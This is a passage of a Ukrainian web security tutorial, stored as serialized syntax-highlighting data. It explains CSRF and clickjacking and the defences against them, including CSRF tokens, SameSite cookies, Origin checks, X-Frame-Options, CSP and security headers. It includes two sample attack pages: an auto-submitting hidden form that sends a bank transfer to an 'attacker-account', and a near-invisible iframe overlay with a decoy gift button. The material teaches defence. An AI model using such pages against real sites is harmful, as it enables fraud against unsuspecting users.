document.getElementById('csrf').submit();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[3793,10996,10997,11005,11013,11030,11062,11096,11124,11132,11140,11161,11169,11177],{"__ignoreMap":4210},[4214,10998,10999,11001,11003],{"class":4216,"line":4217},[4214,11000,4238],{"class":4220},[4214,11002,4209],{"class":4224},[4214,11004,4232],{"class":4220},[4214,11006,11007,11009,11011],{"class":4216,"line":4235},[4214,11008,4238],{"class":4220},[4214,11010,4283],{"class":4224},[4214,11012,4232],{"class":4220},[4214,11014,11015,11017,11019,11021,11024,11026,11028],{"class":4216,"line":4245},[4214,11016,4238],{"class":4220},[4214,11018,3734],{"class":4224},[4214,11020,4259],{"class":4220},[4214,11022,11023],{"class":4262},"Вітаємо! Отримайте подарунок!",[4214,11025,4266],{"class":4220},[4214,11027,3734],{"class":4224},[4214,11029,4232],{"class":4220},[4214,11031,11032,11034,11037,11039,11041,11044,11047,11049,11052,11055,11057,11060],{"class":4216,"line":4278},[4214,11033,4238],{"class":4220},[4214,11035,11036],{"class":4224},"form",[4214,11038,4555],{"class":4228},[4214,11040,4558],{"class":4262},[4214,11042,11043],{"class":4561},"\"csrf\"",[4214,11045,11046],{"class":4228}," action",[4214,11048,4558],{"class":4262},[4214,11050,11051],{"class":4561},"\"https:\u002F\u002Fbank.com\u002Ftransfer\"",[4214,11053,11054],{"class":4228}," method",[4214,11056,4558],{"class":4262},[4214,11058,11059],{"class":4561},"\"POST\"",[4214,11061,4232],{"class":4220},[4214,11063,11064,11067,11070,11073,11075,11078,11081,11083,11086,11089,11091,11094],{"class":4216,"line":4288},[4214,11065,11066],{"class":4220},"  \u003C",[4214,11068,11069],{"class":4224},"input",[4214,11071,11072],{"class":4228}," type",[4214,11074,4558],{"class":4262},[4214,11076,11077],{"class":4561},"\"hidden\"",[4214,11079,11080],{"class":4228}," name",[4214,11082,4558],{"class":4262},[4214,11084,11085],{"class":4561},"\"to\"",[4214,11087,11088],{"class":4228}," value",[4214,11090,4558],{"class":4262},[4214,11092,11093],{"class":4561},"\"attacker-account\"",[4214,11095,4232],{"class":4220},[4214,11097,11098,11100,11102,11104,11106,11108,11110,11112,11115,11117,11119,11122],{"class":4216,"line":4298},[4214,11099,11066],{"class":4220},[4214,11101,11069],{"class":4224},[4214,11103,11072],{"class":4228},[4214,11105,4558],{"class":4262},[4214,11107,11077],{"class":4561},[4214,11109,11080],{"class":4228},[4214,11111,4558],{"class":4262},[4214,11113,11114],{"class":4561},"\"amount\"",[4214,11116,11088],{"class":4228},[4214,11118,4558],{"class":4262},[4214,11120,11121],{"class":4561},"\"10000\"",[4214,11123,4232],{"class":4220},[4214,11125,11126,11128,11130],{"class":4216,"line":4305},[4214,11127,4266],{"class":4220},[4214,11129,11036],{"class":4224},[4214,11131,4232],{"class":4220},[4214,11133,11134,11136,11138],{"class":4216,"line":4323},[4214,11135,4238],{"class":4220},[4214,11137,4293],{"class":4224},[4214,11139,4232],{"class":4220},[4214,11141,11142,11145,11147,11149,11151,11154,11156,11159],{"class":4216,"line":4353},[4214,11143,11144],{"class":4334},"  document",[4214,11146,3796],{"class":4312},[4214,11148,4609],{"class":4308},[4214,11150,4313],{"class":4312},[4214,11152,11153],{"class":4316},"'csrf'",[4214,11155,5124],{"class":4312},[4214,11157,11158],{"class":4308},"submit",[4214,11160,6466],{"class":4312},[4214,11162,11163,11165,11167],{"class":4216,"line":4382},[4214,11164,4266],{"class":4220},[4214,11166,4293],{"class":4224},[4214,11168,4232],{"class":4220},[4214,11170,11171,11173,11175],{"class":4216,"line":4415},[4214,11172,4266],{"class":4220},[4214,11174,4283],{"class":4224},[4214,11176,4232],{"class":4220},[4214,11178,11179,11181,11183],{"class":4216,"line":4424},[4214,11180,4266],{"class":4220},[4214,11182,4209],{"class":4224},[4214,11184,4232],{"class":4220},[3844,11186,11187,11188,3917],{},"Коли користувач відкриває ",[3793,11189,5822],{},[3919,11191,11192,11198,11201],{},[3749,11193,11194,11195,3796],{},"Форма автоматично відправляється на ",[3793,11196,11197],{},"bank.com\u002Ftransfer",[3749,11199,11200],{},"Браузер автоматично додає session cookie користувача.",[3749,11202,11203],{},"Банківський сервер бачить валідну сесію та виконує переказ.",[3988,11205,11207],{"id":11206},"захист-від-csrf","Захист від CSRF",[3844,11209,11210],{},[3782,11211,11212],{},"1. CSRF-токени (Synchronizer Token Pattern)",[3844,11214,11215],{},"Сервер генерує унікальний непередбачуваний токен для кожної сесії або форми та вбудовує його у форму. При обробці POST-запиту сервер перевіряє, чи співпадає токен.",[3844,11217,11218],{},[3782,11219,11220],{},"Приклад (концептуальний):",[3844,11222,11223],{},[3782,11224,11225],{},"HTML-форма з CSRF-токеном:",[4205,11227,11229],{"className":4207,"code":11228,"language":4209,"meta":4210,"style":4210},"\u003Cform action=\"\u002Ftransfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"csrf_token\" value=\"random-unpredictable-value-abc123\">\n  \u003Cinput type=\"text\" name=\"to\">\n  \u003Cinput type=\"number\" name=\"amount\">\n  \u003Cbutton type=\"submit\">Переказати\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[3793,11230,11231,11252,11280,11301,11322,11347],{"__ignoreMap":4210},[4214,11232,11233,11235,11237,11239,11241,11244,11246,11248,11250],{"class":4216,"line":4217},[4214,11234,4238],{"class":4220},[4214,11236,11036],{"class":4224},[4214,11238,11046],{"class":4228},[4214,11240,4558],{"class":4262},[4214,11242,11243],{"class":4561},"\"\u002Ftransfer\"",[4214,11245,11054],{"class":4228},[4214,11247,4558],{"class":4262},[4214,11249,11059],{"class":4561},[4214,11251,4232],{"class":4220},[4214,11253,11254,11256,11258,11260,11262,11264,11266,11268,11271,11273,11275,11278],{"class":4216,"line":4235},[4214,11255,11066],{"class":4220},[4214,11257,11069],{"class":4224},[4214,11259,11072],{"class":4228},[4214,11261,4558],{"class":4262},[4214,11263,11077],{"class":4561},[4214,11265,11080],{"class":4228},[4214,11267,4558],{"class":4262},[4214,11269,11270],{"class":4561},"\"csrf_token\"",[4214,11272,11088],{"class":4228},[4214,11274,4558],{"class":4262},[4214,11276,11277],{"class":4561},"\"random-unpredictable-value-abc123\"",[4214,11279,4232],{"class":4220},[4214,11281,11282,11284,11286,11288,11290,11293,11295,11297,11299],{"class":4216,"line":4245},[4214,11283,11066],{"class":4220},[4214,11285,11069],{"class":4224},[4214,11287,11072],{"class":4228},[4214,11289,4558],{"class":4262},[4214,11291,11292],{"class":4561},"\"text\"",[4214,11294,11080],{"class":4228},[4214,11296,4558],{"class":4262},[4214,11298,11085],{"class":4561},[4214,11300,4232],{"class":4220},[4214,11302,11303,11305,11307,11309,11311,11314,11316,11318,11320],{"class":4216,"line":4278},[4214,11304,11066],{"class":4220},[4214,11306,11069],{"class":4224},[4214,11308,11072],{"class":4228},[4214,11310,4558],{"class":4262},[4214,11312,11313],{"class":4561},"\"number\"",[4214,11315,11080],{"class":4228},[4214,11317,4558],{"class":4262},[4214,11319,11114],{"class":4561},[4214,11321,4232],{"class":4220},[4214,11323,11324,11326,11329,11331,11333,11336,11338,11341,11343,11345],{"class":4216,"line":4288},[4214,11325,11066],{"class":4220},[4214,11327,11328],{"class":4224},"button",[4214,11330,11072],{"class":4228},[4214,11332,4558],{"class":4262},[4214,11334,11335],{"class":4561},"\"submit\"",[4214,11337,4259],{"class":4220},[4214,11339,11340],{"class":4262},"Переказати",[4214,11342,4266],{"class":4220},[4214,11344,11328],{"class":4224},[4214,11346,4232],{"class":4220},[4214,11348,11349,11351,11353],{"class":4216,"line":4298},[4214,11350,4266],{"class":4220},[4214,11352,11036],{"class":4224},[4214,11354,4232],{"class":4220},[3844,11356,11357],{},[3782,11358,11359],{},"Перевірка на сервері (Go концептуально):",[4205,11361,11363],{"className":7544,"code":11362,"language":7546,"meta":4210,"style":4210},"func HandleTransfer(c *gin.Context) {\n    csrfToken := c.PostForm(\"csrf_token\")\n    sessionToken := c.GetHeader(\"X-CSRF-Token\") \u002F\u002F або з сесії\n    \n    if csrfToken != sessionToken {\n        c.JSON(403, gin.H{\"error\": \"Invalid CSRF token\"})\n        return\n    }\n    \n    \u002F\u002F Виконати переказ\n}\n",[3793,11364,11365,11386,11406,11430,11434,11449,11484,11488,11492,11496,11501],{"__ignoreMap":4210},[4214,11366,11367,11369,11372,11374,11376,11378,11380,11382,11384],{"class":4216,"line":4217},[4214,11368,7558],{"class":4338},[4214,11370,11371],{"class":4308}," HandleTransfer",[4214,11373,4313],{"class":4262},[4214,11375,7598],{"class":4334},[4214,11377,7601],{"class":4262},[4214,11379,7579],{"class":7572},[4214,11381,3796],{"class":4262},[4214,11383,7608],{"class":7572},[4214,11385,4688],{"class":4262},[4214,11387,11388,11391,11393,11395,11397,11400,11402,11404],{"class":4216,"line":4235},[4214,11389,11390],{"class":4334},"    csrfToken",[4214,11392,7618],{"class":4262},[4214,11394,7598],{"class":4334},[4214,11396,3796],{"class":4262},[4214,11398,11399],{"class":4308},"PostForm",[4214,11401,4313],{"class":4262},[4214,11403,11270],{"class":4316},[4214,11405,4320],{"class":4262},[4214,11407,11408,11411,11413,11415,11417,11420,11422,11425,11427],{"class":4216,"line":4245},[4214,11409,11410],{"class":4334},"    sessionToken",[4214,11412,7618],{"class":4262},[4214,11414,7598],{"class":4334},[4214,11416,3796],{"class":4262},[4214,11418,11419],{"class":4308},"GetHeader",[4214,11421,4313],{"class":4262},[4214,11423,11424],{"class":4316},"\"X-CSRF-Token\"",[4214,11426,7576],{"class":4262},[4214,11428,11429],{"class":4301},"\u002F\u002F або з сесії\n",[4214,11431,11432],{"class":4216,"line":4278},[4214,11433,7982],{"class":4262},[4214,11435,11436,11438,11441,11444,11447],{"class":4216,"line":4288},[4214,11437,8204],{"class":4622},[4214,11439,11440],{"class":4334}," csrfToken",[4214,11442,11443],{"class":4262}," != ",[4214,11445,11446],{"class":4334},"sessionToken",[4214,11448,4626],{"class":4262},[4214,11450,11451,11453,11455,11458,11460,11463,11465,11467,11469,11472,11474,11477,11479,11482],{"class":4216,"line":4298},[4214,11452,7855],{"class":4334},[4214,11454,3796],{"class":4262},[4214,11456,11457],{"class":4308},"JSON",[4214,11459,4313],{"class":4262},[4214,11461,11462],{"class":5325},"403",[4214,11464,3950],{"class":4262},[4214,11466,7579],{"class":7572},[4214,11468,3796],{"class":4262},[4214,11470,11471],{"class":7572},"H",[4214,11473,5660],{"class":4262},[4214,11475,11476],{"class":4316},"\"error\"",[4214,11478,5736],{"class":4262},[4214,11480,11481],{"class":4316},"\"Invalid CSRF token\"",[4214,11483,7010],{"class":4262},[4214,11485,11486],{"class":4216,"line":4305},[4214,11487,8239],{"class":4622},[4214,11489,11490],{"class":4216,"line":4323},[4214,11491,7868],{"class":4262},[4214,11493,11494],{"class":4216,"line":4353},[4214,11495,7982],{"class":4262},[4214,11497,11498],{"class":4216,"line":4382},[4214,11499,11500],{"class":4301},"    \u002F\u002F Виконати переказ\n",[4214,11502,11503],{"class":4216,"line":4415},[4214,11504,4729],{"class":4262},[3844,11506,11507,11508,4092,11510,11513],{},"Зловмисник на ",[3793,11509,5822],{},[3782,11511,11512],{},"не знає"," правильного CSRF-токена, оскільки він генерується індивідуально для кожної сесії та недоступний через Same-Origin Policy.",[3844,11515,11516],{},[3782,11517,11518],{},"2. SameSite Cookie Attribute",[3844,11520,10875,11521,3930,11524,11527],{},[3793,11522,11523],{},"SameSite=Strict",[3793,11525,11526],{},"SameSite=Lax"," для автентифікаційних cookies:",[4205,11529,11531],{"className":4794,"code":11530,"language":4796,"meta":4210,"style":4210},"Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly\n",[3793,11532,11533],{"__ignoreMap":4210},[4214,11534,11535,11537,11539],{"class":4216,"line":4217},[4214,11536,4803],{"class":4224},[4214,11538,3917],{"class":4338},[4214,11540,11541],{"class":4316}," sessionId=abc123; SameSite=Strict; Secure; HttpOnly\n",[3844,11543,11544,11548,11549,11552],{},[3782,11545,11546,3917],{},[3793,11547,11523],{}," Cookie ",[3782,11550,11551],{},"не надсилається"," у запитах, ініційованих з інших сайтів (навіть при переході за посиланням).",[3844,11554,11555,11559,11560,11563,11564,11567],{},[3782,11556,11557,3917],{},[3793,11558,11526],{}," Cookie надсилається у ",[3782,11561,11562],{},"навігаційних GET-запитах"," (перехід за посиланням), але ",[3782,11565,11566],{},"не у POST, PUT, DELETE"," з інших сайтів. Це блокує більшість CSRF-атак, зберігаючи UX.",[3844,11569,11570],{},[3782,11571,11572],{},"3. Перевірка Origin та Referer",[3844,11574,11575,11576,3930,11578,11580],{},"Перевіряйте заголовки ",[3793,11577,5181],{},[3793,11579,7387],{}," у запитах на зміну стану:",[4205,11582,11584],{"className":7544,"code":11583,"language":7546,"meta":4210,"style":4210},"func ValidateOrigin(c *gin.Context) bool {\n    origin := c.GetHeader(\"Origin\")\n    referer := c.GetHeader(\"Referer\")\n    \n    allowedOrigins := []string{\"https:\u002F\u002Fbank.com\", \"https:\u002F\u002Fapp.bank.com\"}\n    \n    for _, allowed := range allowedOrigins {\n        if origin == allowed || strings.HasPrefix(referer, allowed) {\n            return true\n        }\n    }\n    return false\n}\n",[3793,11585,11586,11612,11630,11650,11654,11676,11680,11698,11729,11736,11740,11744,11751],{"__ignoreMap":4210},[4214,11587,11588,11590,11593,11595,11597,11599,11601,11603,11605,11607,11610],{"class":4216,"line":4217},[4214,11589,7558],{"class":4338},[4214,11591,11592],{"class":4308}," ValidateOrigin",[4214,11594,4313],{"class":4262},[4214,11596,7598],{"class":4334},[4214,11598,7601],{"class":4262},[4214,11600,7579],{"class":7572},[4214,11602,3796],{"class":4262},[4214,11604,7608],{"class":7572},[4214,11606,7576],{"class":4262},[4214,11608,11609],{"class":7572},"bool",[4214,11611,4626],{"class":4262},[4214,11613,11614,11616,11618,11620,11622,11624,11626,11628],{"class":4216,"line":4235},[4214,11615,7955],{"class":4334},[4214,11617,7618],{"class":4262},[4214,11619,7598],{"class":4334},[4214,11621,3796],{"class":4262},[4214,11623,11419],{"class":4308},[4214,11625,4313],{"class":4262},[4214,11627,7640],{"class":4316},[4214,11629,4320],{"class":4262},[4214,11631,11632,11635,11637,11639,11641,11643,11645,11648],{"class":4216,"line":4245},[4214,11633,11634],{"class":4334},"    referer",[4214,11636,7618],{"class":4262},[4214,11638,7598],{"class":4334},[4214,11640,3796],{"class":4262},[4214,11642,11419],{"class":4308},[4214,11644,4313],{"class":4262},[4214,11646,11647],{"class":4316},"\"Referer\"",[4214,11649,4320],{"class":4262},[4214,11651,11652],{"class":4216,"line":4278},[4214,11653,7982],{"class":4262},[4214,11655,11656,11659,11662,11664,11666,11669,11671,11674],{"class":4216,"line":4288},[4214,11657,11658],{"class":4334},"    allowedOrigins",[4214,11660,11661],{"class":4262}," := []",[4214,11663,7573],{"class":7572},[4214,11665,5660],{"class":4262},[4214,11667,11668],{"class":4316},"\"https:\u002F\u002Fbank.com\"",[4214,11670,3950],{"class":4262},[4214,11672,11673],{"class":4316},"\"https:\u002F\u002Fapp.bank.com\"",[4214,11675,4729],{"class":4262},[4214,11677,11678],{"class":4216,"line":4298},[4214,11679,7982],{"class":4262},[4214,11681,11682,11684,11686,11688,11690,11692,11694,11696],{"class":4216,"line":4305},[4214,11683,7992],{"class":4622},[4214,11685,7995],{"class":4334},[4214,11687,3950],{"class":4262},[4214,11689,8000],{"class":4334},[4214,11691,7618],{"class":4262},[4214,11693,8005],{"class":4622},[4214,11695,7900],{"class":4334},[4214,11697,4626],{"class":4262},[4214,11699,11700,11702,11704,11706,11708,11711,11714,11716,11718,11720,11723,11725,11727],{"class":4216,"line":4323},[4214,11701,7657],{"class":4622},[4214,11703,8016],{"class":4334},[4214,11705,7820],{"class":4262},[4214,11707,8000],{"class":4334},[4214,11709,11710],{"class":4262}," || ",[4214,11712,11713],{"class":4334},"strings",[4214,11715,3796],{"class":4262},[4214,11717,7665],{"class":4308},[4214,11719,4313],{"class":4262},[4214,11721,11722],{"class":4334},"referer",[4214,11724,3950],{"class":4262},[4214,11726,8000],{"class":4334},[4214,11728,4688],{"class":4262},[4214,11730,11731,11734],{"class":4216,"line":4353},[4214,11732,11733],{"class":4622},"            return",[4214,11735,6894],{"class":4338},[4214,11737,11738],{"class":4216,"line":4382},[4214,11739,7797],{"class":4262},[4214,11741,11742],{"class":4216,"line":4415},[4214,11743,7868],{"class":4262},[4214,11745,11746,11748],{"class":4216,"line":4424},[4214,11747,6457],{"class":4622},[4214,11749,11750],{"class":4338}," false\n",[4214,11752,11753],{"class":4216,"line":4433},[4214,11754,4729],{"class":4262},[3844,11756,11757],{},[3782,11758,11759],{},"4. Вимагати кастомні заголовки",[3844,11761,11762,11763,11766],{},"Для AJAX-запитів вимагайте кастомний заголовок (наприклад, ",[3793,11764,11765],{},"X-Requested-With: XMLHttpRequest","). Браузер не дозволяє зловмисному сайту додавати кастомні заголовки до cross-origin запитів без CORS-дозволу.",[3839,11768,9752],{"id":11769},"clickjacking",[3844,11771,11772,11774],{},[3782,11773,9752],{}," (UI Redressing) — атака, де зловмисник вбудовує легітимний сайт у прозорий iframe та обманом змушує користувача клікати на приховані елементи.",[3988,11776,11778],{"id":11777},"приклад-clickjacking-атаки","Приклад Clickjacking-атаки",[3844,11780,11781],{},[3782,11782,11783],{},"Зловмисний сайт:",[4205,11785,11787],{"className":4207,"code":11786,"language":4209,"meta":4210,"style":4210},"\u003Chtml>\n\u003Chead>\n\u003Cstyle>\n  #decoy-button {\n    position: absolute;\n    top: 200px;\n    left: 300px;\n    z-index: 1;\n  }\n  \n  #hidden-iframe {\n    position: absolute;\n    top: 150px;\n    left: 250px;\n    opacity: 0.0001; \u002F* Майже невидимий *\u002F\n    z-index: 2;\n    width: 500px;\n    height: 300px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\u003Cbutton id=\"decoy-button\">Отримати подарунок!\u003C\u002Fbutton>\n\u003Ciframe id=\"hidden-iframe\" src=\"https:\u002F\u002Fbank.com\u002Fconfirm-transfer\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[3793,11788,11789,11797,11805,11814,11822,11835,11847,11859,11870,11874,11879,11886,11896,11907,11918,11933,11943,11955,11966,11970,11978,11986,11994,12018,12044,12052],{"__ignoreMap":4210},[4214,11790,11791,11793,11795],{"class":4216,"line":4217},[4214,11792,4238],{"class":4220},[4214,11794,4209],{"class":4224},[4214,11796,4232],{"class":4220},[4214,11798,11799,11801,11803],{"class":4216,"line":4235},[4214,11800,4238],{"class":4220},[4214,11802,4250],{"class":4224},[4214,11804,4232],{"class":4220},[4214,11806,11807,11809,11812],{"class":4216,"line":4245},[4214,11808,4238],{"class":4220},[4214,11810,11811],{"class":4224},"style",[4214,11813,4232],{"class":4220},[4214,11815,11816,11820],{"class":4216,"line":4278},[4214,11817,11819],{"class":11818},"sqdDX","  #decoy-button",[4214,11821,4626],{"class":4312},[4214,11823,11824,11827,11829,11833],{"class":4216,"line":4288},[4214,11825,11826],{"class":4228},"    position",[4214,11828,5736],{"class":4312},[4214,11830,11832],{"class":11831},"sDUd3","absolute",[4214,11834,10668],{"class":4312},[4214,11836,11837,11840,11842,11845],{"class":4216,"line":4298},[4214,11838,11839],{"class":4228},"    top",[4214,11841,5736],{"class":4312},[4214,11843,11844],{"class":5325},"200px",[4214,11846,10668],{"class":4312},[4214,11848,11849,11852,11854,11857],{"class":4216,"line":4305},[4214,11850,11851],{"class":4228},"    left",[4214,11853,5736],{"class":4312},[4214,11855,11856],{"class":5325},"300px",[4214,11858,10668],{"class":4312},[4214,11860,11861,11864,11866,11868],{"class":4216,"line":4323},[4214,11862,11863],{"class":4228},"    z-index",[4214,11865,5736],{"class":4312},[4214,11867,5443],{"class":5325},[4214,11869,10668],{"class":4312},[4214,11871,11872],{"class":4216,"line":4353},[4214,11873,9304],{"class":4312},[4214,11875,11876],{"class":4216,"line":4382},[4214,11877,11878],{"class":4312},"  \n",[4214,11880,11881,11884],{"class":4216,"line":4415},[4214,11882,11883],{"class":11818},"  #hidden-iframe",[4214,11885,4626],{"class":4312},[4214,11887,11888,11890,11892,11894],{"class":4216,"line":4424},[4214,11889,11826],{"class":4228},[4214,11891,5736],{"class":4312},[4214,11893,11832],{"class":11831},[4214,11895,10668],{"class":4312},[4214,11897,11898,11900,11902,11905],{"class":4216,"line":4433},[4214,11899,11839],{"class":4228},[4214,11901,5736],{"class":4312},[4214,11903,11904],{"class":5325},"150px",[4214,11906,10668],{"class":4312},[4214,11908,11909,11911,11913,11916],{"class":4216,"line":4720},[4214,11910,11851],{"class":4228},[4214,11912,5736],{"class":4312},[4214,11914,11915],{"class":5325},"250px",[4214,11917,10668],{"class":4312},[4214,11919,11920,11923,11925,11928,11930],{"class":4216,"line":4726},[4214,11921,11922],{"class":4228},"    opacity",[4214,11924,5736],{"class":4312},[4214,11926,11927],{"class":5325},"0.0001",[4214,11929,4646],{"class":4312},[4214,11931,11932],{"class":4301},"\u002F* Майже невидимий *\u002F\n",[4214,11934,11935,11937,11939,11941],{"class":4216,"line":4732},[4214,11936,11863],{"class":4228},[4214,11938,5736],{"class":4312},[4214,11940,5474],{"class":5325},[4214,11942,10668],{"class":4312},[4214,11944,11945,11948,11950,11953],{"class":4216,"line":4741},[4214,11946,11947],{"class":4228},"    width",[4214,11949,5736],{"class":4312},[4214,11951,11952],{"class":5325},"500px",[4214,11954,10668],{"class":4312},[4214,11956,11957,11960,11962,11964],{"class":4216,"line":4750},[4214,11958,11959],{"class":4228},"    height",[4214,11961,5736],{"class":4312},[4214,11963,11856],{"class":5325},[4214,11965,10668],{"class":4312},[4214,11967,11968],{"class":4216,"line":7203},[4214,11969,9304],{"class":4312},[4214,11971,11972,11974,11976],{"class":4216,"line":7209},[4214,11973,4266],{"class":4220},[4214,11975,11811],{"class":4224},[4214,11977,4232],{"class":4220},[4214,11979,11980,11982,11984],{"class":4216,"line":7214},[4214,11981,4266],{"class":4220},[4214,11983,4250],{"class":4224},[4214,11985,4232],{"class":4220},[4214,11987,11988,11990,11992],{"class":4216,"line":7220},[4214,11989,4238],{"class":4220},[4214,11991,4283],{"class":4224},[4214,11993,4232],{"class":4220},[4214,11995,11996,11998,12000,12002,12004,12007,12009,12012,12014,12016],{"class":4216,"line":7225},[4214,11997,4238],{"class":4220},[4214,11999,11328],{"class":4224},[4214,12001,4555],{"class":4228},[4214,12003,4558],{"class":4262},[4214,12005,12006],{"class":4561},"\"decoy-button\"",[4214,12008,4259],{"class":4220},[4214,12010,12011],{"class":4262},"Отримати подарунок!",[4214,12013,4266],{"class":4220},[4214,12015,11328],{"class":4224},[4214,12017,4232],{"class":4220},[4214,12019,12020,12022,12024,12026,12028,12031,12033,12035,12038,12040,12042],{"class":4216,"line":7231},[4214,12021,4238],{"class":4220},[4214,12023,3870],{"class":4224},[4214,12025,4555],{"class":4228},[4214,12027,4558],{"class":4262},[4214,12029,12030],{"class":4561},"\"hidden-iframe\"",[4214,12032,4565],{"class":4228},[4214,12034,4558],{"class":4262},[4214,12036,12037],{"class":4561},"\"https:\u002F\u002Fbank.com\u002Fconfirm-transfer\"",[4214,12039,4271],{"class":4220},[4214,12041,3870],{"class":4224},[4214,12043,4232],{"class":4220},[4214,12045,12046,12048,12050],{"class":4216,"line":7237},[4214,12047,4266],{"class":4220},[4214,12049,4283],{"class":4224},[4214,12051,4232],{"class":4220},[4214,12053,12054,12056,12058],{"class":4216,"line":7243},[4214,12055,4266],{"class":4220},[4214,12057,4209],{"class":4224},[4214,12059,4232],{"class":4220},[3844,12061,12062],{},"Користувач бачить кнопку \"Отримати подарунок!\", але насправді клікає на прихований iframe з банківським підтвердженням переказу.",[3988,12064,12066],{"id":12065},"захист-від-clickjacking","Захист від Clickjacking",[3844,12068,12069],{},[3782,12070,12071],{},"1. X-Frame-Options",[4205,12073,12074],{"className":4794,"code":9784,"language":4796,"meta":4210,"style":4210},[3793,12075,12076],{"__ignoreMap":4210},[4214,12077,12078,12080,12082],{"class":4216,"line":4217},[4214,12079,9762],{"class":4224},[4214,12081,3917],{"class":4338},[4214,12083,9795],{"class":4316},[3844,12085,9895],{},[4205,12087,12088],{"className":4794,"code":9808,"language":4796,"meta":4210,"style":4210},[3793,12089,12090],{"__ignoreMap":4210},[4214,12091,12092,12094,12096],{"class":4216,"line":4217},[4214,12093,9762],{"class":4224},[4214,12095,3917],{"class":4338},[4214,12097,9819],{"class":4316},[3844,12099,12100],{},[3782,12101,12102],{},"2. CSP frame-ancestors",[4205,12104,12106],{"className":4794,"code":12105,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: frame-ancestors 'none'\n",[3793,12107,12108],{"__ignoreMap":4210},[4214,12109,12110,12112,12114],{"class":4216,"line":4217},[4214,12111,8352],{"class":4224},[4214,12113,3917],{"class":4338},[4214,12115,9932],{"class":4316},[3844,12117,12118],{},[3782,12119,12120],{},"3. Frame-busting JavaScript (застаріле, ненадійне)",[4205,12122,12124],{"className":4819,"code":12123,"language":4821,"meta":4210,"style":4210},"if (top !== self) {\n    top.location = self.location;\n}\n",[3793,12125,12126,12144,12162],{"__ignoreMap":4210},[4214,12127,12128,12131,12133,12136,12139,12142],{"class":4216,"line":4217},[4214,12129,12130],{"class":4622},"if",[4214,12132,3926],{"class":4262},[4214,12134,12135],{"class":4334},"top",[4214,12137,12138],{"class":4262}," !== ",[4214,12140,12141],{"class":4334},"self",[4214,12143,4688],{"class":4262},[4214,12145,12146,12148,12150,12152,12154,12156,12158,12160],{"class":4216,"line":4235},[4214,12147,11839],{"class":4334},[4214,12149,3796],{"class":4262},[4214,12151,10530],{"class":4334},[4214,12153,6641],{"class":4262},[4214,12155,12141],{"class":4334},[4214,12157,3796],{"class":4262},[4214,12159,10530],{"class":4334},[4214,12161,10668],{"class":4262},[4214,12163,12164],{"class":4216,"line":4245},[4214,12165,4729],{"class":4262},[3844,12167,12168],{},"Цей підхід може бути обійдений, тому CSP та X-Frame-Options є кращими варіантами.",[3831,12170],{},[3834,12172,12174],{"id":12173},"узагальнення-комплексна-конфігурація-безпеки","Узагальнення: Комплексна конфігурація безпеки",[3844,12176,12177],{},[3782,12178,12179],{},"Приклад заголовків безпеки для сучасного веб-застосунку:",[4205,12181,12183],{"className":4794,"code":12182,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml; charset=utf-8\n\n# HTTPS та HSTS\nStrict-Transport-Security: max-age=63072000; includeSubDomains; preload\n\n# Content Security Policy\nContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https:\u002F\u002Ffonts.gstatic.com; connect-src 'self' https:\u002F\u002Fapi.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests\n\n# Захист від Clickjacking\nX-Frame-Options: DENY\n\n# MIME Sniffing захист\nX-Content-Type-Options: nosniff\n\n# Referrer Policy\nReferrer-Policy: strict-origin-when-cross-origin\n\n# CORS (для API endpoint)\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE\nAccess-Control-Allow-Headers: Content-Type, Authorization\nVary: Origin\n\n# Cookies з безпечними атрибутами\nSet-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Ctitle>Secure Application\u003C\u002Ftitle>\n    \u003Cscript nonce=\"random123\" src=\"\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\n\u003C\u002Fhead>\n\u003Cbody>\n    \u003Ch1>Захищений застосунок\u003C\u002Fh1>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[3793,12184,12185,12197,12205,12209,12214,12223,12227,12232,12241,12245,12250,12258,12262,12267,12275,12279,12284,12292,12296,12301,12309,12317,12326,12334,12342,12346,12351,12360,12364,12374,12382,12390,12407,12433,12441,12449,12466,12474],{"__ignoreMap":4210},[4214,12186,12187,12189,12191,12193,12195],{"class":4216,"line":4217},[4214,12188,5319],{"class":4338},[4214,12190,5322],{"class":4262},[4214,12192,5390],{"class":5325},[4214,12194,5393],{"class":5325},[4214,12196,5396],{"class":4316},[4214,12198,12199,12201,12203],{"class":4216,"line":4235},[4214,12200,5227],{"class":4224},[4214,12202,3917],{"class":4338},[4214,12204,8746],{"class":4316},[4214,12206,12207],{"class":4216,"line":4245},[4214,12208,5429],{"emptyLinePlaceholder":5428},[4214,12210,12211],{"class":4216,"line":4278},[4214,12212,12213],{"class":4301},"# HTTPS та HSTS\n",[4214,12215,12216,12218,12220],{"class":4216,"line":4288},[4214,12217,9413],{"class":4224},[4214,12219,3917],{"class":4338},[4214,12221,12222],{"class":4316}," max-age=63072000; includeSubDomains; preload\n",[4214,12224,12225],{"class":4216,"line":4298},[4214,12226,5429],{"emptyLinePlaceholder":5428},[4214,12228,12229],{"class":4216,"line":4305},[4214,12230,12231],{"class":4301},"# Content Security Policy\n",[4214,12233,12234,12236,12238],{"class":4216,"line":4323},[4214,12235,8352],{"class":4224},[4214,12237,3917],{"class":4338},[4214,12239,12240],{"class":4316}," default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https:\u002F\u002Ffonts.gstatic.com; connect-src 'self' https:\u002F\u002Fapi.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; 